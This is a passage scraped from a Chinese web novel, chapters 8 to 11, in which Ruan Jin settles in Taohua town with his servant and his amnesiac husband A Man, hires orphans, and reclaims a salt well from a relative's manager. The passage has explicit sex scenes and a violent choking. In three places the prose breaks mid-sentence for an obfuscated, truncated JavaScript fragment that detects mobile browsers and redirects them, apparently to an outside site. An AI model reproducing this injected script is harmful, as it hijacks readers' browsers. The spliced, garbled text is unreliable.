他亲率大军三征幽国,把幽国人打得哭爹喊娘,更是亲手斩下了当年曾欺辱过他们姐弟的那名幽将,将尸体挂在城墙上暴晒七天,最后让人拆骨剃肉,封存起来,留着做骨床。 所有人听说这件事后,都震惊于渊王的狠厉,唯的端阳公主可以理解。 她眉心微蹙,说道:“怕只怕他在外面出了什么事,必须得尽快找到他才行!” 桃花镇,阮锦和四儿终于来到了镇上,这小镇虽然并不算大,倒也繁华热闹。 渊国也算是鱼米之乡,桃花镇位于渊都附近,自也算是富庶之地。 阮锦看着集市上的热闹场景,唇角忍不住的上扬,说道:“四儿,这里还挺好的!咱们赶紧去租个宅子安顿下来,明天就可以想想,做点什么生意好了。” 8. 第 8 章 四儿也很兴奋,说道:“好嘞少爷!还是镇上好,咱们镇上风景也好,依山傍水的,不比村子里差。” 阿蛮却对周围一点反应都没有,他只是冷淡的雕着自己的木雕,动作看似僵硬,却每一下都精准的落在它应该在的位置,仿佛一个程序设定好的人机。 阮锦道:“找个靠谱的牙人,我们这次租房子来得匆忙了些,做好这几天住客栈的准备。” 四儿应着,说道:“少爷放心,镇上我最熟悉不过了!我这边有朋友,让他们帮忙,准保错不了。” 阮锦好奇道:“嗯?你竟然在镇上还有朋友?” 四儿不好意思的笑了笑,说道:“少爷你忘了?我从小就和几个兄弟在镇子上流浪,六岁以后被镇上的人牙子发现是哥儿的身份,便被卖到了青楼。我那几个好兄弟在镇上闹,才被少爷和老爷发现的。要不是少爷,我现在可能已经是青楼的头牌了。” 阮锦:…… 他没想到四儿还有这样的经历,心想古代女子和哥儿的生存都挺不容易的,四儿才十四岁,如果当时真进了青楼,那得是什么样的处境? 听说古代青楼女子梳拢夜都在十四五岁,甚至十二三岁就开始接客,简直丧心病狂。 把马车停在一处阴凉地,四儿便把他的几个朋友招了过来,他们也算是四儿的青梅竹马,有男也有女,都是十向二十岁的少年人。 四儿一见到他们就和他们介绍:“这就是我家少爷,怎么样,我家少爷漂亮吧?” 几名少年的脸红了红,不敢正眼去看阮锦,可能是因为他们糙惯了,还没见过这么好看又干净的哥儿。 四儿道:“好了好了,别害羞了,大哥二哥三姐五弟,我们要搬到镇子上来,你们帮忙找一下房子吧!要朝阳的,最好靠着河,如果能看到远处的山那就更好了!价格嘛……每个月不要超过二两银,上下浮动不要超过一百文,听清楚了吗?” 几名少年应着,大哥一声令下,便带着几个弟弟妹妹去找房子了。 阮锦意外道:“四儿,看不出你这人脉还挺好用啊!” 四儿不好意思的笑了笑,说道:“哎呀,少爷,你就别笑话我了!” 没想到,房子找得还挺顺利,四名少年根据他们的条件找了三处宅子,最后阮锦定下了一处靠着河边的宅院,租金稍贵了些,要三两银。不过他算了算,盐井每个月可以给他赚至少五十两,三两银对他们来说还算可以接受。 众人赶着马车把东西拉进了院子,一进小院儿,阮锦就喜欢上了这个院子。 倒也不算大,和他在村子里的院子差不多,但是院子里布置的十分雅致,有秋千有假山,还有一片池塘,水车吱呀吱呀的转着,水从一侧流进来,又从另一侧流进了桃花江中,给院子里消去了大半的暑气。 阮锦满意道:“可以可以,你们真棒,这房子找的太合我心意了。” 阿大不好意思的笑了笑,说道:“阮少爷满意就好,咱们别的不懂,但整个桃花县城,就没有咱不知道的地儿。以后不论有任何事,尽管使唤咱们。当年要不是阮少爷,阿四可能就被那些人折腾死了。以后少爷的事,就是阿四的事,阿四的事,就是咱们的事。” 阮锦:哥儿几个真的很讲义气了。 不过这几名少爷也确实能干,帮他搬东西打扫房间不说,还把院子里的杂草和堵了的阳沟都疏通了。 三儿是个小姑娘,看上去也就比四儿大个一两岁,小姑娘却手脚麻利的帮忙整理好了床铺。 话虽然不多,但真是干活的一把好手。 阿蛮则坐到秋千上,眼神空洞的继续雕着他的木雕。 阮锦算是发现了,只有在触发某种剧情的时候,这只么得感情的NPC才会给出相应的反应。 不过问题不大,这么乖的阿蛮,这么好看的阿蛮,放在院子里当摆件也是赏心悦目的。 此时的阮锦还不知道,这位大魔王可是一挥手就要万千人命的疯批罗刹,如果不是被幽国的上百名死士刺杀,也不至于落得人机的下场。 天色渐晚,阮锦赶紧让四儿去街上的食肆订了一桌菜。 少年们忙活了一整天,那必须要犒劳犒劳他们。 四国时期的菜色还是比较粗糙的,四儿一共点了六点菜,一道酱牛肉,一道蒸桂鱼,一道炙羊肉,也就是烤羊肉。 素菜是青葵和冬瓜,看上去像是煮的或者炖的。 差点忘了,这个时期的烹饪方式以蒸煮焖炖为主,煎炒炸类的还没出现或者在平民中普及开来。 这倒是让阮锦有了想法,可以试试在桃花镇的街头开一家小吃店,门面不必太大,试着做些稀罕的小吃。 看着这丰盛的菜色,几名少年都不好意思动筷,他们都是流浪儿,虽然偶尔有四儿来接济一下他们,但也是杯水车薪,清贫惯了。 阮锦主动给他们分别夹了菜,说道:“别客气,今天时间匆忙,没办法亲自下厨给你们做好吃的了。改天你们再来,我给你们做几道稀罕的。” 四儿一脸骄傲的说道:“我家少爷做饭那可是一绝!保你们香掉舌头!” 少年们不好意思的笑了笑,这才开始动筷子。 阮锦观察着他们,发现这几个孩子确实过得苦,衣服破破烂烂不说,还补丁摞补丁,鞋子不少都露了脚趾。 虽是如此,他们身上却都收拾的干干净净,看得出有在认真的打理自己。 阮锦问道:“你们几个都靠什么谋生?” 阿大腼腆的应道:“小的时候苦些,就是讨饭,讨到就有得吃,讨不到就得饿着。现在好了,我和阿二去码头上搬些货物,有时候当当脚力,勉强能赚够吃饭的钱。三妹会做些绣活儿,也能补贴补贴。小五还小,卖卖花摘摘桃什么的,顶多也就够他打打牙祭的。” 这些孩子抱团取暖,互相扶持,还十分讲义气,让阮锦感触还挺深的。 虽然桃花县看上去还算富庶,可这周边的乡村有得是贫苦百姓,街上的乞丐也不少,就这还是在太平年间。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785401|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这几年乱起来,怕是要更加民不聊生。 阮锦想了想,说道:“这样吧!我刚好想做点小生意,你们要是没别的事做,不如就跟着我干吧?我给你们付月钱,每个月就……就从五百文起吧!” “五百文???”三兄妹异口同声,眼中满是不可思议。 阮锦笑了笑,说道:“不过只能用三个,小五太小了,这么小,还是进学堂学习的比较好。” 小五也就十岁左右的模样,据说是四儿走了以后才被他们捡到的。 小五抱着饭碗不知所措,小声道:“我也能做工的。” 阮锦拍了拍他的发顶道:“不是哥哥不用你,而是读书才能改变你们的现状。你读几年书,有了见识,货卖帝王家,说不定就飞黄腾达了呢?” 听到帝王两个字,机械吃饭的阿蛮怔了怔,接着继续进入了人机状态。 阿大也道:“阮少爷说得对,小五,咱们如果真跟着阮少爷干了,有每个月一千五百文,够你上学堂的束脩了。” 小五一脸迷茫,问道:“上学堂……真有这么好吗?” 阮锦笑道:“好,好着呢。” 吃完饭,四儿送走了兄妹四人,回来后便扑通一声跪到了阮锦的面前。 阮锦吓了一跳,赶紧上前扶起他,说道:“四儿,你这是干什么?咱家可不兴磕头的哈!” 他一个现代人,最恨封建礼教那一套了! 不过现在好像还更糟糕一些,它属于封建社会的早期阶段,还有一部分奴隶制度的存在。 土地私有制、世族门阀、等级分明,普通百姓没什么钱,大片的土地都在地主阶级门阀世家的手上,农民租种土地并要缴纳地租。 贵族、地主、平民、奴隶,四个阶层,待遇可以说是天差地别。 四儿流着眼泪道:“少爷,少年时你救了我,现在又肯让阿大他们做工,你是我们小五义的恩人。” “小五义?”阮锦笑着问道:“哟,你们这是桃源五结义啊?” 四儿吸着鼻子道:“以前是小四义,后来不是来了个五儿吗?就叫小五义了。” 阮锦问:“你们没有名字的吗?就按排行叫的?” 四儿摇头:“咱们没爹没娘,也没人给取名字。听说,我是三岁的时候被他们捡到的。” 阮锦心想,到时候得给他们取个名字,哪能一辈子按排行叫。 他安抚着四儿:“左右我们做生意也是需要人工的,一个月五百文也不多,他们干活儿也麻利,能用自己人还更放心些。以后你可别动不动就跪了,再跪少爷我可就生气了!” 四儿重重的点头,又和阮锦说了几句话,便回自己房间睡了。 阮锦则看了一眼正在待机的阿蛮,对他笑了笑:“夫君,来睡觉了。” 阿蛮眨了眨眼睛,仿佛又触发了剧情一般开口道:“是要玩……钻洞洞的游戏了吗?” 阮锦:…… 糟糕糟糕哦麦嘎,小人机怎么变黄了? 9. 第 9 章 一早九大夫叮嘱过他,三天内不能行房,否则伤口还是会肿起来。 阮锦左思右想,哄着小人机道:“阿蛮,游戏不能天天玩,需要劳逸结合才可以哦。我们先休息几天,过几天再玩好不好?” 小人机迷茫的往自己身下看了一眼,什么都没说,只是重新回到了待机状态。 阮锦顺着他的眼神看了下去,当即发现了他跨·间搭起的小帐篷,心里默默骂了一声卧槽,心想年轻就是好啊,这火力可真够壮的。 难怪九哥说他有福了,敢情是这方面有福了? 阮锦试着动了一下自己的双腿,倒是感觉还好,九哥的药确实效果不错。 他看了一眼小人机,低声道:“你……轻一点,不要像昨晚那么用力了。” 阿蛮轻轻点了点头,十分配合的开始脱衣服,阮锦心想你可真是,学一次就把整个流程给记下来了。 要不你还是别叫小人机了,叫小黄鸡·吧! 阮锦从九哥给他的小药箱里拿出了香膏,他说之所以受伤是因为没有做好润滑,只要充分润滑,体感会很舒服,也不容易受伤。 于是给了他一瓶香膏,并把使用方法给他画了一个简笔画。 阮锦看着那个简笔画面红耳赤,心想九大夫不愧是大龄剩哥儿,在这方面果然很有经验。 小黄鸡有些猴急,抱住他就要欺身而上,却被阮锦给拦住了,耐着性子慢慢教道:“阿蛮,别急,要先把这个东西涂上。” 其实这种事做起来很尴尬,好在小人机什么都不懂,阮锦说什么他都听。 而且小人机很好看,单单看着他这张脸,就能满足一个哥儿内心对另一半的所有幻想。 又想到小人机只能进去的那半截儿,阮锦的脸更红了,他觉得还挺刺激。 于是拿过阿蛮的手,在他指尖蘸了些香膏,轻轻涂抹到了将开未开之处。 阿蛮的眼神有些微暗,他轻轻在阮锦的唇上吻了吻,这是阮锦昨晚教他的,爱人之间是可以接吻的。 阮锦低低笑了笑,又教他:“阿蛮,舌头可以给我。” 小人机乖乖的点了点头,启开唇舌,便被阮锦轻轻吸住,连吸三四次后,阿蛮的眼神终于彻底不一样了。 他抱住阮锦的腰,用力将他搂在怀里,修长的大掌与他十指紧扣,掌心的厚茧轻轻魔蹭着他掌心的软肉,几次耐心的拥吻后,才轻轻握住阮锦的脚踝,哥儿脚踝上戴着的银铃在黑暗中发出一阵叮叮铃铃的脆响,小人机轻易便找到了放矢之的。 阮锦的心内一阵满足,哥儿成熟期的渴望得到了安抚,却又被彻底的挑了起来。 紧接着,床与茶机之间的空隙发出一阵轻晃,窗外月色皎洁,害羞的躲进了云层的后面,连月色都蒙上了一层朦胧的薄纱。 此时的小人机化身永动机,让阮锦明白了为什么那些达官贵人喜好在府内豢养哥儿,因为他这种生物,真的无比适合在床上亵玩。 这也是身为哥儿最大的悲哀,哪怕有再高的才华,被人看到的也永远只是他们身为玩物的那一面。 这一夜,阮锦累到脑袋发懵,睡得很沉,连一个梦都没做。 醒来时倒是不像第一次时那么疼了,九哥说得果然没错,香膏的作用还真不小。 倒是阿蛮,阮锦醒来的时候,阿蛮已经起来做木雕了。 手边摆着那只他雕好的隼,栩栩如生,振翅欲飞,逼真极了。 阮锦震惊,虽然知道他木雕做的好,却没想到他能做这么好,他伸手抚摸着那只猛禽,问阿蛮:“又在雕什么?” 阿蛮乖乖的抬头,应道:“小泥鳅。” 阮锦:??? 他仔细一看,那厮竟然正在雕一只大人机! 尺寸与长度,和他昨晚摸到的那只一毛一样。 阮锦:!!! 他一把抓住阿蛮的手,朝门外的方向看去,好在四儿正在厨房忙碌,他压低声音叮嘱道:“阿蛮,小泥鳅不可以……呃……不可以让任何人看到!它是隐私,只有夫夫或者夫妻之间才可以互看。你如果雕,也一定悄悄藏起来雕,也千万别让外人看到了。” 听到阮锦这么说,阿蛮立刻明白了,他答道:“不可以……让外人看到,好。” 阮锦缓缓吐出一口气,心想这小人机也是麻烦,还真是得从零开始慢慢教起啊! 果然好色是得付出代价的,现成的野男人哪儿那么好捡。 见阿蛮把大人机藏了起来,阮锦便起身去开了卧室门,院子里两株桃树,上面挂着青脆的毛桃儿,显然还没成熟。 厨房里是四儿忙碌的身影,他见阮锦起床了,便喊道:“少爷,饭马上就好。” 阮锦走过去问道:“做的什么?” “馎饦。”四儿答道。 “摩托?”阮锦一脸疑惑,一大早就上这么硬的菜么? 他上前一看,嗨了一声道:“拉条子啊?” 四儿:“拉……什么?少爷,做饭的时候不要提不雅的词汇好吗?” 阮锦哈哈哈哈笑了半天,说道:“我来吧!这拉条子看上去粗了些,我来给你擀面条。” 其实馎饦就是古人的面条,一般叫汤饼,唐朝才出现名为冷淘的凉面,宋代才真正的出现面条这个词汇。 而现在是四国割据的战国时期,自然是没有面条这种称呼的。 四儿问:“少爷,你又要弄什么稀罕吃食?” 阮锦看着桌案上的面团,拿起擀面杖,十分熟练的擀起了面。 之所以那么会做饭,是因为阮锦家本身就是开餐馆的,他爸爸是大厨,他又喜欢吃,就经常在后厨跟着老师傅学厨艺。 但他爸却并不让他当厨师,一心一意的让他好好读大学,选一个好专业,不再吃颠大勺的苦。 可阮锦却觉得颠大勺没什么,民以食为天,更何况他家原本的小餐馆生意就非常好,各种小吃都是远近闻名的。 但他还是没能拗过老爸,最终选择了看上去更高大上的学科。 把面团擀成薄饼,然后上面洒上薄薄一层面粉,对折再对折,再用刀切成细细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785402|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的面条。 四儿看着阮锦仿佛变戏法一般的手法,惊讶道:“少爷!你这也太强了!你快说吧少爷,你是不是去哪里偷偷学习了?” 阮锦随便找了个借口:“不就是小时候玩泥巴的经验吗?好了四儿,水开了就赶紧煮面,煮上五分钟……呃,半盏茶的时间!” 他记得古代一盏茶的时间是十分钟多一点,五分钟下载是半盏茶的时间。 四儿应着:“好!” 说话间干净利落的煮了面,而阮锦则切了点小青菜,又打了几枚鸡蛋,炒了个青菜炒蛋。 青菜鸡蛋面,这样的早餐吃着最舒服了。 盛好了面,阮锦又招呼着阿蛮吃饭,阿蛮机械的走出来,坐到餐桌前,接过阮锦递上来的面。 先是尝了一口,接着小声道:“好吃。” 他说话声音低低的,很好听,像那种操场上奔跑的体育生坐下来休息时的低喘。 阮锦给他夹了一口青菜炒鸡蛋,说道:“好吃就多吃,吃完锅里还有。” 阿蛮抬头对阮锦笑了笑,阮锦十分意外,小人机竟然有自主表情了,不错,看来好好恢复,状态会越来越好的。 只是不知道他恢复记忆后,会不会离开他,回到他原本的家人身边。 但也无所谓了,他和阿蛮结婚,本来也是一个权宜之计,为的是保住自家的财产,以及最好能借他个种,生下一个姓阮的孩子。 吃完早餐,昨天帮忙的那四名少年也来了,阿大手上拎着一筐又红又大的桃子,一进来就放到了他们的餐桌上,不好意思的说道:“今天早晨咱们去帮忙摘桃了,没有工钱,但给了一大筐的桃。我们挑了最大最好的,给阮少爷送了过来。” 阮锦十分感激的说了声谢谢,让四儿洗了,大家一起分着吃。 他昨天和他们几个说好了,让他们过来帮忙做工,他也有了想法,打算先租一个小的店面,做一些八宝酱菜卤肉什么的。 他家的八宝酱菜是宫廷秘方,很多人都慕名而来,排队来买。 阮锦一边吃着桃一边道:“大家来的正好,刚好有事要找你们。不如今天你们就正式开始上工吧!” 几个小孩儿都很高兴,腼腆着笑着,答应着。 阮锦道:“那今天就做三件事吧!一是去帮我找一间大约三十平米左右的临街店铺,最好是在闹市,价格适中就行。二是去采购一些蔬菜,可以用来做腌……哦,用来做咸菹的。” 早期的腌菜泡菜被古人称作咸菹,可是拥有三千多年的历史呢。 少年们点着头,阮锦又道:“第三件事是买一些做咸菹用的缸,先买……十个吧!” 之所以选择选做酱菜,是因为成本低,耐储存,价格亲民,大概好卖些。 几名少年一一答应着,阮锦给他们一人发了一个钱袋,让他们采购的时候用。 待他们各自离开后,又对四儿道:“昨天说好要去盐井收账的,因为二婶和三婶来闹事就给耽误了。今天咱们带上腌好的茶叶带,顺便把它们分给工人们尝尝。” 10. 第 10 章 一听说阮锦要去收账,小人机阿蛮也抱着他的木雕从房间里走了出来,一副要跟着一起去的模样。 阮锦一看到阿蛮脸颊就忍不住泛起一阵红晕,昨晚阿蛮真的太能干了,不光是永动鸡,还是一架力道强劲的打桩机。 哥儿的需求比一般人要多一些,他觉得九哥说的那句他有福了含金量还在上升。 阮锦问阿蛮:“你也想一起去吗?” 阿蛮点了点头,嗯了一声,几步便站到了阮锦的跟前。 阮锦轻笑,说道:“好,那阿蛮就跟着一起去。” 四儿套了车,两人便一起上了马车,一进马车,阮锦忍不住便在阿蛮英俊的脸颊上亲了一口。 他也不想的,怪只怪阿蛮长得太好看,甚至在他的心目中,所有古代那些美男的溢美之词都不足以形容阿蛮的英俊。 大概是情人眼里出西施,又加上新婚哥儿体内的激素正是爆棚的时候,会在三个月内特别依恋自己的夫君。 阿蛮见状,抬头看向阮锦,手上的木雕也不雕了,凑近在阮锦的唇上吻了吻。 接下来,小人机伸出了舌头。 阮锦:…… 他赶紧制止,说道:“不可以的阿蛮,这种事只能晚上做。亲亲的话,在别人看不到的地方可以,在有人的地方也是不行的。” 阿蛮不懂,为什么不可以,他喜欢阿锦,想和阿锦亲亲抱抱,更想和阿锦做小泥鳅钻洞洞的游戏。 他还要雕一个自己的大泥鳅,雕得一模一样,把它送给阿锦。 阮锦见他仍然想要亲自己,想了想说道:“阿蛮,我们晚上回来再玩好不好?阿蛮最乖了,乖夫君就该听夫郎的话。” 虽然阿蛮还是很想亲阿锦,但他知道如果自己现在亲了阿锦,就不是阿锦的乖夫君了。 于是重重的点了点头,轻声道:“好,阿蛮……是阿锦的乖夫君。” 阮锦笑出了声,心想阿蛮怎么这么可爱,虽然傻乎乎的,但阿蛮的好,只有他自己知道。 盐井距离镇子并不远,他们坐马车走了不到半个时辰的时间就到了。 盐井位于桃花镇的东侧,那是一大片低洼且平整的空地,有一大片晒盐场,还搭建了不少竹棚和木屋,木屋是工人们休息用的,竹棚下面则是盐井。 四儿一下马车,负责盐井的刘管事便朝他们走了过来,刘管事朝阮锦行了个礼,十分悲痛的说了一句:“锦哥儿节哀,阮大哥走得匆忙,真是苦了你了。” 原主对盐井的事一无所知,只是知道刘管事是盐井的管事,别的就都不清楚了。 所以阮锦也只能朝刘管事行了个礼,喊了一声:“刘叔。” 刘管事应了一声,说道:“哥儿是来收账的吧?” 阮锦点头应道:“是,刘叔,先把账本拿来给我看看吧!” “这……”刘管事十分为难的说道:“哥儿……怕是今天没办法给你了。” 阮锦皱眉,心里腾起一阵不好的预感,问道:“刘叔,这话是从何说起啊?” 刘管事叹了口气,答道:“锦哥儿,我也不瞒着你了!你父亲一去世,阮二爷就带了人过来,接手了我管事的职位!眼下我已经不是盐井的管事了!” 阮锦明白了,他冷笑一声,心想父亲刚去世,原主也尚未出嫁,他们就已经迫不及待的换上自己的人了。 这世上总有这样的人,喜欢觊觎别人家的财产。 原主的性子又是个绵软的,哪怕他父亲留了遗嘱,他怕是也守不住这份家业。 四儿更是在一旁气的跺脚:“这都是些什么人啊!他们凭什么说换管事就换管事?这盐井是阮大伯的,又不是阮二郎的!” 刘管事也很是无奈,他在这盐井干了半辈子,从上一任主人到这一任主人,一直勤勤肯肯兢兢业业。 谁料阮大郎一死,阮二郎不光要霸占盐井,还二话不说把他换了下来。 可刘管事毕竟是外人,当时阮二郎只道锦哥儿要出嫁了,盐井是阮家的,他自是带不走的,只能给他备一份嫁妆。 至于盐井,既然大哥去世了,那么自然要给他们两兄弟。 阮锦知道,这在古代农村还是很多见的,没有儿子的家庭,经常被兄弟或者侄儿吃绝户。 刘管事敢怒不敢言,他试图找了两次原主,却都被阮二郎和阮三郎给拦了回来。 他问阮锦:“哥儿是真的要出嫁了吗?若是真的,刘叔也要给你随一份喜钱。” 阮锦摇了摇头,答道:“倒是成了亲,只是没有出嫁,招了个赘婿。所以刘叔你放心,这盐井,落不到我二叔和三叔手上。” 刘管事一喜,问道:“真的吗锦哥儿?你……招赘婿了?那真是太好了!” 看得出,刘管事是真心为他招赘婿的事而高兴。 阮锦知道,这个时候不是聊这件事的时候,便问道:“刘叔,眼下是谁管事?把他叫过来,我有话要问他。” 刘管事叹气:“前天还在的,可能是因为这两天要收账,他便没过来。” 阮锦问:“可知道是哪村的?” 刘管事答:“是阮二爷的小舅子,叫连福。” 阮锦明白了,说道:“那是隔壁连家村的啊!刘管事,你带上四个人,把连福叫过来。如果他不配合,你们绑也把他绑来。” 刘管事听阮锦这么说,莫名也跟着有底气起来,他点头应道:“好嘞哥儿,我这就带人去!” 说着,刘管事便叫了几名工人,朝着连家村的方向去了。 阮锦则坐到了竹棚下面,观察盐井是怎么作业的。 说来很神奇,古代没有机械作业,竟能挖出几百上千米的盐井,可谓是鬼斧神工。 盐井作业也很神奇,先是将一根巨大的竹筒深入盐井底部,让盐卤水通过竹筒的缝隙流入筒内,再用绞车和绳索将装满盐卤水的竹桶提升至地面。 工人们会把盐井里提取出来的盐卤水倒进铁锅里,烧柴火煮沸,旁边还有工人不停的搅拌以防止粘锅,直到水分蒸发, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785403|174863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只留下盐结晶。 再把煮好的盐晶倒到晒场里晒干,碾碎,再装进陶罐里就可以了。 阮锦看得很入神,一方面惊讶于古代劳动人民的智慧,一方面佩服于原主父亲的先见之明。 盐是百味之首,这个世界上最重要的调味料就是盐,不论是寻常百姓还是贵族帝王,没有一家是不需要吃盐的。 看着那白花花的盐被装进陶罐,阮锦竟也有一种难得的振奋感。 没过多长时间,阮锦便看到刘管事和四名工人带着一个走路歪歪斜斜的男人朝这边走了过来。 阮锦对四儿道:“走,咱们去会会这个连福。” 连福喝的醉醺醺的,倒是说话还算清楚,没到人事不醒的地步。 他一见到阮锦,就乐呵呵的说道:“哟,这不是小阮锦吗?怎么?你不是要出嫁了吗?哥儿家家的,别到处抛头露面,传出去名声不好。” 阮锦淡淡的哼了一声,说道:“这就不劳连先生操心了,我找你有事,你只需要好好回答我的问题就可以了。” 连福打了个酒嗝,一阵难闻的酒气传来,让阮锦皱了皱眉。 连福大着舌头道:“哎呀,什么连先生,叫舅舅!” 阮锦懒得理他,他是阮钗和阮波的舅舅,可不是他的舅舅。 四儿搬了个板凳给阮锦,阮锦坐了下来,问道:“今天是收账的日子,连先生既然当了这盐井的管事,不会不知道吧?” 一听到这个问题,连福的酒醒了大半,他装迷糊道:“收账?收什么账?你个出嫁的哥儿,管阮家的事干什么?收账的时间改了,得听你二叔的!” 阮锦哦了一声,问道:“这盐井,是我父亲留下来的,什么时候成我二叔的了?可有买卖文契?” 连福不耐烦道:“买卖什么文契,这盐井是阮家的,你爹死了,就是你二叔的。你爹是个绝户你不知道啊?你一个哥儿,总不能让你带去外姓,那阮家不是吃了大亏了?” 阮锦道:“就算我爹死了,也轮不到二叔来做主。别说我没出嫁,就算我出嫁了,这盐井也是我的嫁妆!轮得到你们做主?” 连福的酒彻底醒了,他瞪着眼睛道:“自古以来都是如此!你就算没嫁,也迟早是别人家的人!再说了,我只听你二叔的。你二叔没发话,这账谁也别想收走!” 阮锦问:“你既然这么说,那我可就让官府的人过来说道说道了。连先生啊,我再给你个机会,账本和这个月的盈收,你给还是不给我?如果你现在不给我,那等官府的人到了,你可别后悔。” 连福的气势矮了矮,但想到阮二郎对他说的话,当即又挺起了胸膛,说道:“哈,官府来人又能耐我何?这不过是阮家自家的家事,官府难道还管别人家务事不成?” 阮锦翘起了二郎腿,问道:“四儿,侵占他人财产,怎么判?” 四儿答:“回少爷,笞三十,流放两千里。” 阮锦点了点头,又朝四儿伸出了手,说道:“好,拿出来吧!” 11. 第 11 章 连福纳闷的看着阮锦,心想这臭小子又想搞什么鬼? 只见四儿把一叠纸交到了阮锦的手上,接着他展到来让连福看了一眼,说道:“这是我爹留给我的房契,地契,以及盐井的盐引,经营的市藉。四儿,你拿着这些去报官。就说有人霸占我爹给我留下的遗产,看看县令老爷怎么说!” 连福傻眼了,一把推开旁边的刘管事,嚷嚷道:“好啊!好你个阮锦,你他娘的连亲叔叔的面子都敢下?行行行,我看你以后在这阮家村怎么混!反正你爹死了,我让你在村子里混不下去!我看你能拿我怎么样!” 这是知道自己不占理了,开始撒泼,并从旁边拿起一根扁担,就要朝阮锦扑过来。 他扑得飞快,以至于旁边的工人都没来得及拦住。 眼看着阮锦就要被扁担打中,一个坚实的臂膀陡然从一旁伸了过来,扁担啪的一声被抓住。 连福转头看向那臂膀的主人,眼中喷火道:“哪儿来的二愣子?给老子滚!今天老子就要教训教训这个没大没小的畜生!” 只见阿蛮夺过连福的扁担,咔嚓一声给他折断,又上前掐住他的脖子,单手就将他举了起来。 阮锦震惊,虽然一直都知道阿蛮会武,力大无穷,但看他单手举起连福一个肥胖的成年男性,还是被吓到了。 连福的脸胀的通红,似乎已经喘不过气来了,他用力挣扎着,眼睛因为缺氧而瞪得突起。 阮锦赶紧上前制止道:“阿蛮,阿蛮,可以了,别弄出人命!” 阿蛮似乎被激怒了,他特别讨厌别人欺负阮锦,不论对方是谁,他都能马上让对方不好过。 这个人还企图用那么粗的扁担去打他的阿锦,他是不是找死? 眼看连福就要被掐死了,阮锦赶紧道:“阿蛮,放下他,把他的胳膊卸了!” 阿蛮虽然特别容易被激怒,却是特别乖的,他一听阮锦吩咐,当即就把连福放了下来。 呼吸通畅的连福坐在地上大口的喘着气,下一秒只觉得双臂一疼,咔嚓两声,膀子又被卸了下来。 他哭得鼻涕一把泪一把,终于不再跟阮锦耍横了,边哭边道:“饶命,饶命,我不敢了,不敢了……” 阮锦也吓了一跳,心想阿蛮刚刚真的太吓人了,他以后得好好教他,不能再像在军营里一样,说打人就打人,说杀人就杀人。 不过这会儿还是处理眼前的事要紧,别的事还是等他们回去以后再说。 阮锦冷眼看着连福,说道:“知道错了,就把账本和这个月的盈收交出来。以后盐井的管事你也不要插手了,重新交给刘叔。” 连福连连点头:“账本在……在账房,钥匙在我怀里……” 阮锦示意刘管事,让他去把钥匙拿回来。 刘管事上前拿了钥匙,转身去账房的小木屋里拿了账本,还抱了一个钱箱,那是本月的盈收。 刘管事当着连福的面数了数,一共是五十七两银,和账本一对,皱眉道:“锦哥儿,少了十两,这个月本应是六十七两。咱们工人的薪水还没发,本应是月初就发薪的,但他一直拖着不给我们。” 阮锦上前问道:“连福,钱呢?” 连福有气无力的答:“我怀里还有六两多,其他的让我给花了。” 阮锦冷哼一声:“花了多少,给我一文不差的还回来,否则我还是会去官府那里告你!” 刘管事又上前把钱袋拿了出来,倒回了钱箱里,一一和账本核对后交给了阮锦。 四儿接过钱箱,收了钱,朝阮锦点了点头。 阮锦又对阿蛮道:“把他胳膊给他接上吧!让他去酬钱,如果酬不到,就等着吃鞭子吧!” 阿蛮点头朝连福走去,接着连福又是一阵滋儿哇乱叫,胳膊关节轻轻松松就被阿蛮复位。 接好胳膊后,连福吓得屁滚尿流,连滚带爬的离开了盐井。 刘管事也被惊到了,他没想到锦哥儿竟然和他原来的印象完全不一样了,这股子杀伐果断的气度,就不是一般人能比的。 他从前只觉得锦哥儿温温柔柔的,过于软弱了些。 可他一个哥儿,就该是这样的性子,如今想来,大概是自己不够了解他。 还有那个叫阿蛮的赘婿,他本来看着那阿蛮有点傻,这下看来锦哥儿这赘婿还真找对了。 不但第一时间能保护锦哥儿,还一身好武艺,随随便便就能撂倒一个彪形大汉,看来日后定是能护住锦哥儿的。 见刘管事在那儿发呆,阮锦便笑着上前道:“让刘叔见笑了,我爹死后,难免被有心的亲戚觊觎。我又是个哥儿,他们就觉得我家的盐井理所应当是他们的了。但是刘叔你安心,有我在,他们别想再打盐井的主意。您以后仍然是盐井的管事,如果还有人敢胡乱做主,您就让工人打出去。出了事,有我撑着呢!” 刘叔重重的点头:“好,好好好,锦哥儿真是了不起。我原以为阮大哥去了,咱们这个盐井的人就得散了。想不到,锦哥儿也是个好样儿的。我今天看了,终于放下心来。咱们都是要养家的人,只要好好做工。我们相信,有锦哥儿在,咱们一定能继续在这里养家糊口。” 